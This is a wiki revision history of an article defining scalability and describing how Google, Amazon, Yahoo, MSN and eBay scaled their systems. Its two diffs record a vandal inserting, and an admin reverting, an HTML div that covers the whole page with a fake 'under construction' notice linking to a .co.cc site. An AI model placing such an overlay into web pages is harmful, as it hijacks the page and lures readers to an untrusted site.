Scalability - Revision history

Admin: Reverted edits by Eboxytezi (Talk) to last version by Jfromm

2011-02-11T21:44:03Z

Reverted edits by Eboxytezi (Talk) to last version by Jfromm

Eboxytezi at 00:19, 18 November 2010

2010-11-18T00:19:48Z

Jfromm: New page: '''Scalability''' means how well a solution to some problem will work when the size of the problem increases. The degree of scalability determines how much a system can be expanded withou...

2008-10-02T20:10:13Z

New page: '''Scalability''' means how well a solution to some problem will work when the size of the problem increases. The degree of scalability determines how much a system can be expanded withou...

New page

'''Scalability''' means how well a solution to some problem will
work when the size of the problem increases. The degree of scalability
determines how much a system can be expanded without performance degradation or
alteration of the internal structure of the system.

== Definition ==

Scalability can be defined formally as the capability of a system or application
or product to continue to function well without performance loss under increasing
load by adding additonal resources or instances of the system. Couloris et al.
[http://www.cdk4.net/] define scalability as follows: "a distributed system is ''scalable''
if the cost of adding a user is a constant amount in terms of the resources that must be added".
The system can serve an increasing demand or a larger number of users by adding additional instances
or devices. The IEEE definition says it is "the ability to grow the power or capacity of a system by adding components" [http://www.ieeetcsc.org/content/tfcc-4-1-gray.shtml]. The key scalability technique
is just as in [[Fault Tolerance|fault tolerance]] replication: a service can be replicated at many nodes to serve a larger demand. Scalability is also related to and sometimes required for [[Load Balancing|load balancing]]. A large-scale Internet application must be parallelized and replicated to scale well.

Werner Vogels, CTO of Amazon.com, mentions on his personal weblog: "A service is said to be scalable
if when we increase the resources in a system, it results in increased performance in a manner
proportional to resources added." (see [http://www.allthingsdistributed.com/2006/03/a_word_on_scalability.html]).
Scalability refers to the property of a system architecture which
determines the limit of the ability to grow and to scale up.
Ken Birman gives in his article "Can Web Services Scale Up ?" the following definition
of a scalable system: "In a nutshell, a scalable system is one that can flexibly accommodate
growth in its client base. Such systems typically run on a clustered computer
or in a large data center and must be able to handle high loads or sudden
demand bursts and a vast number of users. They must reliably respond even
in the event of failures or reconfiguration. Ideally, they’re self-managed and
automate as many routine services such as backups and component upgrades as possible".

== Ways and Means ==

The key to scalablity are the [http://en.wikipedia.org/wiki/Kiss_principle KISS principle]
and the four "S": to keep it simple, stateless, scriptable and small.
'''Simple''' components have their advantages.
It is well-known in software engineering that simple
components and simple processes offer less possibilities
to make errors and mistakes. The less code you write, the less can go wrong
and the less there is to maintain. Hotmail engineer Phil Smoot said
in an [http://acmqueue.com/modules.php?name=Content&pa=showpage&pid=355 ACM interview]
(ACM queue, Vol. 3 No. 10, December/January 2005-2006):
"New hires tend to want to do complex things,
but we know that complex things break in complex ways. The veterans
want simple designs, with simple interfaces and simple constructs
that are easy to understand and debug and easy to put back together
after they break." A lot of relatively small and simple commodity
machines will not only be cheaper than a few big and expensive machines, they
also scale much better and offer a better fault-tolerance.

Statelessness is often the essential key.
'''Stateless''' nature of the system means high scalability.
If servers, objects, components or EJBs are stateless
and have no private state, they can be replicated easily.
[[Redundancy]] and replication become very difficult
subjects if the corresponding entities or objects are stateful:
the state must be consistent among all replicated instances
(consistency), and an access should either affect all or none
of the replicated objects (atomicity).

Stateless means simple processes, and simple solutions are
always good. Communication with Web Servers over pure
HTTP is stateless - probably one reason why the world-wide
web is very scalable and successful.
Phil Smoot said about the MSN service in the ACM interview
"In general, we try to keep no session affinity between a
Web server that is performing a given page paint
and the middle-tier servers that manage the transactions
against the underlying data stores."

In order to reach statelessness, one can store something
for instance in the database layer, if it needs to be
stateful. This is sometines considered as "push all state
down to the database".
A typical request in such a logical three tier architecture
triggers the following actions: "loading state for a set of
objects from the database, operating on them, pushing their
state back down into the database (if needed), writing the
response, and then getting the hell out of there i.e. releasing
all references to objects loaded for this request, leaving them
for garbage collection", see [http://naeblis.cx/rtomayko/2005/05/28/ibm-poop-heads].

'''Scriptable''' applications are easy to automate.
Hotmail engineer Phil Smoot said in an ACM interview:
"Our operation group never wants to rely on any
sort of user interface [or complex GUI]. Everything
has to be scriptable and run from some sort of command
line. That's the only way you're going to be able
to execute scripts and gather the results over
thousands of machines".

In a large system, you have to assume that everything
is going to fail, whether software or hardware.
Failure of components in any small-scale system is the exception, not
the rule, whereas failure of components in any large-scale system is
the rule, not the exception. Therefore you have to design "for failure"
in any large-scale system, i.e. you have to design the system as
if any component could fail at any time.
Thus an important means to achieve scalability is to make
[[Self-Star Properties|self-* properties]] a part of the system
(self-configuration, self-management, self-inspection, self-repair), the
system has to observe, heal and regenerate itself constantly.
There are completely new problems on massive scales
(the probability of failures and faults increases,
and there is always some node that fails, thus
assume that nodes fail and try to keep the system
healthy through continuous refresh and recovery
oriented computing).

== Multi Tier Architecture ==

A physical three tier architecture alone is not necessarily
more scalable than a two tier architecture, because it
expands in the wrong direction and can cause "remote object
hell". This is illustrated nicely by Ryan Tomayko in his blog, see [http://naeblis.cx/rtomayko/2005/05/28/ibm-poop-heads]

"Many large enterprise web applications tried really hard to implement a Physical Three Tier Architecture, or they did in the beginning. The idea is that you have a physical presentation tier (usually JSP, ASP, or some other *SP) that talks to a physical app tier via some form of remote method invocation (usually EJB/RMI, CORBA, DCOM) that talks to a physical database tier (usually Oracle, DB2, MS-SQL Server). The proposed benefits of this approach is that you can scale out (i.e. add more boxes) to any of the physical tiers as needed.

Great, right? Well, no. It turns out this is a horrible, horrible, horrible way of building large applications and no one has ever actually implemented it successful. If anyone has implemented it successfully, they immediately shat their pants when they realized how much surface area and moving parts they would then be keeping an eye on.
The main problem with this architecture is the physical app box in the middle. We call it the remote object circle of hell. This is where the tool vendors solve all kinds of interesting what if type problems using extremely sophisticated techniques, which introduce one thousand actual real world problems, which the tool vendors happily solve, which introduces one thousand more real problems, ad infinitum... It's hard to develop, deploy, test, maintain, evolve; it eats souls, kills kittens, and hates freedom and democracy."

== Examples and Applications ==

Open source software is an important factor in achieving
scalability. Yahoo uses open source software as - FreeBSD,
Apache, Python, PHP, Perl, and MySQL - to achieve scalability.
Like Yahoo, Google is an academic organization and has
an open source attitude.

Massively scalable architectures are rare. They can be found
in the proprietary systems of the large IT companies, which
have literally thousands of servers, millions of users and
billions of transactions per day. The question if you
get better performance or not if you are adding more and more
boxes and computers is of crucial importance to these
companies.

'''Google''' has a special design of its hardware infrastructure - Google uses a highly redundant cluster architecture of custom made commodity desktop PCs - and an own Google file system (GFS). The principle is to use lots of relatively small and inexpensive machines instead of a few big and expensive machines. Goolge has also functional server pools (for instance web servers, index servers and document servers) like eBay. Google uses Python extensively since the beginning, and they
have even hired the Python creator Guido van Rossum. Many components of the Google spider and
search engine seem to be written in Python.

'''Amazon''' uses mainly its own proprietary custom software in C/C++, Java, SQL, Perl, on Linux servers, and partially Oracle's Real Application Clusters (RAC) software. It uses "a homegrown message queuing architecture and Web services to wire together its collection of internally written applications." (see [http://www.baselinemag.com/article2/0,3959,1455549,00.asp]) The large-scale system from Amazon is built out of many different custom-made applications or "services", about 100-150. Each of this applications has different requirements in respect of availability and consisteny, for example the order service (taking an order), the customer service (updating customer records), the reviewer service (storing customer reviews), or the catalog service (checking the availability of a particular item). Amazon uses a massive parallel and modular architecture: all small pieces of business functionality is encapsulated by different isolated and separated services, and each service is responsible for the corresponding data and data management. Amazon also uses the autonomous "team method":the same team of developers that has built and developed the service is also responsible for operating it. It can use the tools and methods it wants, as long as the desired functionality is delivered. Amazon finally uses a simple [http://www.amazon.com/gp/browse.html/104-4296443-9698339?node=13584001&no=14256891 queue service] to connect the applications of the auonomous teams that offers a reliable, highly scalable hosted queue for buffering messages between distributed application components. Components of the huge distributed application are decoupled with messages and queues so that they run independently.

'''Yahoo''' has it's own page rendering [http://patft.uspto.gov/netacgi/nph-Parser?u=/netahtml/srchnum.htm&Sect1=PTO1&Sect2=HITOFF&p=1&r=1&l=50&f=G&d=PALL&s1=5983227.WKU.&OS=PN/5983227&RS=PN/5983227 patent]. Yahoo uses like Microsoft's Hotmail service the FreeBSD operating system [http://www.serverwatch.com/stypes/servers/article.php/15915_1299361], besides the Apache Web Server and other open source software. Similar to Google, Yahoo uses open source software extensively, for example Python for its groups site. The Yahoo online groups, a comprehensive public archive of Internet mailing lists, was originally implemented in pure Python.

'''Microsoft''' MSN's services include e-Mail, Instant Messenger, news, weather, sport, etc. The Hotmail e-Mail is one of MSN's larger services and relies on more than 10,000 servers spread around the globe: they have special mail servers and storage servers. They use of course Microsoft
products (what else), "clusters" as a unit which can be build in and out on demand, and scriptable applications which can be automated.

'''eBay''' uses since the Version 3 eBay architecture J2EE technologies and IBM WebSphere [[Application Server]]. They emphasize stateless design and functional server pools (partitioning of application servers based on use cases). They don't seem to use entity beans very much. "In general, the approach that eBay is alluding to (and Google has confirmed) is that architectures that consist of pools or farms of machines dedicated on a use-case basis will provide better scalability and availability as compared to a few behemoth machines." [http://www.manageability.org/blog/j2ee?b_start:int=5]

== Links ==

* General

[http://www.allthingsdistributed.com/2006/03/a_word_on_scalability.html Werner Vogels: A word on scalability]

* eBay:

[http://www.manageability.org/blog/j2ee?b_start:int=5 Nuggets of Wisdom from eBay's Architecture]

[http://www.sun.com/service/about/success/recent/Sun_eBay6-2_forWeb.pdf eBay Creates Technology Architecture for the Future]

* Amazon

[http://www.baselinemag.com/article2/0,3959,1455549,00.asp Amazon.com at LinuxWorld: All Linux, All the Time]

* Google:

[http://www.google.com/corporate/facts.html Google's facts]

[http://www.networkworld.com/newsletters/accel/2001/00991542.html Google's secrets (from 2001)]

[http://insight.zdnet.co.uk/hardware/servers/0,39020445,39175560,00.htm The magic that makes Google tick] (ZDNet 2004)

[http://www.fastcompany.com/magazine/69/google.html How Google Grows]

[http://labs.google.com/papers/gfs.html The Google File System]

[http://labs.google.com/papers/googlecluster.html Web Search For A Planet: The Google Cluster Architecture]

* IBM:

[http://www-128.ibm.com/developerworks/websphere/library/techarticles/hipods/scalability.html Design for Scalability - an Update]

== Papers ==

* [http://www.cs.cornell.edu/projects/quicksilver/public_pdfs/webtech2.pdf Can Web Services Scale Up ?], Ken Birman

[[Category:Applied Principles]]

← Older revision		Revision as of 16:44, 11 February 2011
Line 4:		Line 4:
	alteration of the internal structure of the system.		alteration of the internal structure of the system.

	>== Definition ==		== Definition ==

	Scalability can be defined formally as the capability of a system or application		Scalability can be defined formally as the capability of a system or application
	or product to continue to function well without performance loss under increasing		or product to continue to function well without performance loss under increasing
	load by adding additonal resources or instances of the system. Couloris et al.		load by adding additonal resources or instances of the system. Couloris et al.
	[http://www.cdk4.net/] define scalability as follows: ~~"~~a distributed system is ''scalable''		[http://www.cdk4.net/] define scalability as follows: "a distributed system is ''scalable''
	if the cost of adding a user is a constant amount in terms of the resources that must be added~~"~~.		if the cost of adding a user is a constant amount in terms of the resources that must be added".
	The system can serve an increasing demand or a larger number of users by adding additional instances		The system can serve an increasing demand or a larger number of users by adding additional instances
	or devices. The IEEE definition says it is ~~"~~the ability to grow the power or capacity of a system by adding components~~"~~ [http://www.ieeetcsc.org/content/tfcc-4-1-gray.shtml]. The key scalability technique		or devices. The IEEE definition says it is "the ability to grow the power or capacity of a system by adding components" [http://www.ieeetcsc.org/content/tfcc-4-1-gray.shtml]. The key scalability technique
	is just as in [[Fault Tolerance\|fault tolerance]] replication: a service can be replicated at many nodes to serve a larger demand. Scalability is also related to and sometimes required for [[Load Balancing\|load balancing]]. A large-scale Internet application must be parallelized and replicated to scale well.		is just as in [[Fault Tolerance\|fault tolerance]] replication: a service can be replicated at many nodes to serve a larger demand. Scalability is also related to and sometimes required for [[Load Balancing\|load balancing]]. A large-scale Internet application must be parallelized and replicated to scale well.

	Werner Vogels, CTO of Amazon.com, mentions on his personal weblog: ~~"~~A service is said to be scalable		Werner Vogels, CTO of Amazon.com, mentions on his personal weblog: "A service is said to be scalable
	if when we increase the resources in a system, it results in increased performance in a manner		if when we increase the resources in a system, it results in increased performance in a manner
	proportional to resources added.~~"~~ (see [http://www.allthingsdistributed.com/2006/03/a_word_on_scalability.html]).		proportional to resources added." (see [http://www.allthingsdistributed.com/2006/03/a_word_on_scalability.html]).
	Scalability refers to the property of a system architecture which		Scalability refers to the property of a system architecture which
	determines the limit of the ability to grow and to scale up.		determines the limit of the ability to grow and to scale up.
	Ken Birman gives in his article ~~"~~Can Web Services Scale Up ?~~"~~ the following definition		Ken Birman gives in his article "Can Web Services Scale Up ?" the following definition
	of a scalable system: ~~"~~In a nutshell, a scalable system is one that can flexibly accommodate		of a scalable system: "In a nutshell, a scalable system is one that can flexibly accommodate
	growth in its client base. Such systems typically run on a clustered computer		growth in its client base. Such systems typically run on a clustered computer
	or in a large data center and must be able to handle high loads or sudden		or in a large data center and must be able to handle high loads or sudden
	demand bursts and a vast number of users. They must reliably respond even		demand bursts and a vast number of users. They must reliably respond even
	in the event of failures or reconfiguration. Ideally, they’re self-managed and		in the event of failures or reconfiguration. Ideally, they’re self-managed and
	automate as many routine services such as backups and component upgrades as possible~~".~~		automate as many routine services such as backups and component upgrades as possible".

	~~----~~
	~~<div style=~~"background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
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	~~=[http://ozewemavigu.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=~~
	~~----~~
	~~=[http://ozewemavigu.co~~.~~cc CLICK HERE]=~~
	~~----~~
	~~</div>~~

	== Ways and Means ==		== Ways and Means ==

← Older revision		Revision as of 19:19, 17 November 2010
Line 4:		Line 4:
	alteration of the internal structure of the system.		alteration of the internal structure of the system.

	== Definition ==		>== Definition ==

	Scalability can be defined formally as the capability of a system or application		Scalability can be defined formally as the capability of a system or application
	or product to continue to function well without performance loss under increasing		or product to continue to function well without performance loss under increasing
	load by adding additonal resources or instances of the system. Couloris et al.		load by adding additonal resources or instances of the system. Couloris et al.
	[http://www.cdk4.net/] define scalability as follows: "a distributed system is ''scalable''		[http://www.cdk4.net/] define scalability as follows: "a distributed system is ''scalable''
	if the cost of adding a user is a constant amount in terms of the resources that must be added".		if the cost of adding a user is a constant amount in terms of the resources that must be added".
	The system can serve an increasing demand or a larger number of users by adding additional instances		The system can serve an increasing demand or a larger number of users by adding additional instances
	or devices. The IEEE definition says it is "the ability to grow the power or capacity of a system by adding components" [http://www.ieeetcsc.org/content/tfcc-4-1-gray.shtml]. The key scalability technique		or devices. The IEEE definition says it is "the ability to grow the power or capacity of a system by adding components" [http://www.ieeetcsc.org/content/tfcc-4-1-gray.shtml]. The key scalability technique
	is just as in [[Fault Tolerance\|fault tolerance]] replication: a service can be replicated at many nodes to serve a larger demand. Scalability is also related to and sometimes required for [[Load Balancing\|load balancing]]. A large-scale Internet application must be parallelized and replicated to scale well.		is just as in [[Fault Tolerance\|fault tolerance]] replication: a service can be replicated at many nodes to serve a larger demand. Scalability is also related to and sometimes required for [[Load Balancing\|load balancing]]. A large-scale Internet application must be parallelized and replicated to scale well.

	Werner Vogels, CTO of Amazon.com, mentions on his personal weblog: "A service is said to be scalable		Werner Vogels, CTO of Amazon.com, mentions on his personal weblog: "A service is said to be scalable
	if when we increase the resources in a system, it results in increased performance in a manner		if when we increase the resources in a system, it results in increased performance in a manner
	proportional to resources added." (see [http://www.allthingsdistributed.com/2006/03/a_word_on_scalability.html]).		proportional to resources added." (see [http://www.allthingsdistributed.com/2006/03/a_word_on_scalability.html]).
	Scalability refers to the property of a system architecture which		Scalability refers to the property of a system architecture which
	determines the limit of the ability to grow and to scale up.		determines the limit of the ability to grow and to scale up.
	Ken Birman gives in his article "Can Web Services Scale Up ?" the following definition		Ken Birman gives in his article "Can Web Services Scale Up ?" the following definition
	of a scalable system: "In a nutshell, a scalable system is one that can flexibly accommodate		of a scalable system: "In a nutshell, a scalable system is one that can flexibly accommodate
	growth in its client base. Such systems typically run on a clustered computer		growth in its client base. Such systems typically run on a clustered computer
	or in a large data center and must be able to handle high loads or sudden		or in a large data center and must be able to handle high loads or sudden
	demand bursts and a vast number of users. They must reliably respond even		demand bursts and a vast number of users. They must reliably respond even
	in the event of failures or reconfiguration. Ideally, they’re self-managed and		in the event of failures or reconfiguration. Ideally, they’re self-managed and
	automate as many routine services such as backups and component upgrades as possible".		automate as many routine services such as backups and component upgrades as possible".

			----
			<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
			----
			=[http://ozewemavigu.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
			----
			=[http://ozewemavigu.co.cc CLICK HERE]=
			----
			</div>

	== Ways and Means ==		== Ways and Means ==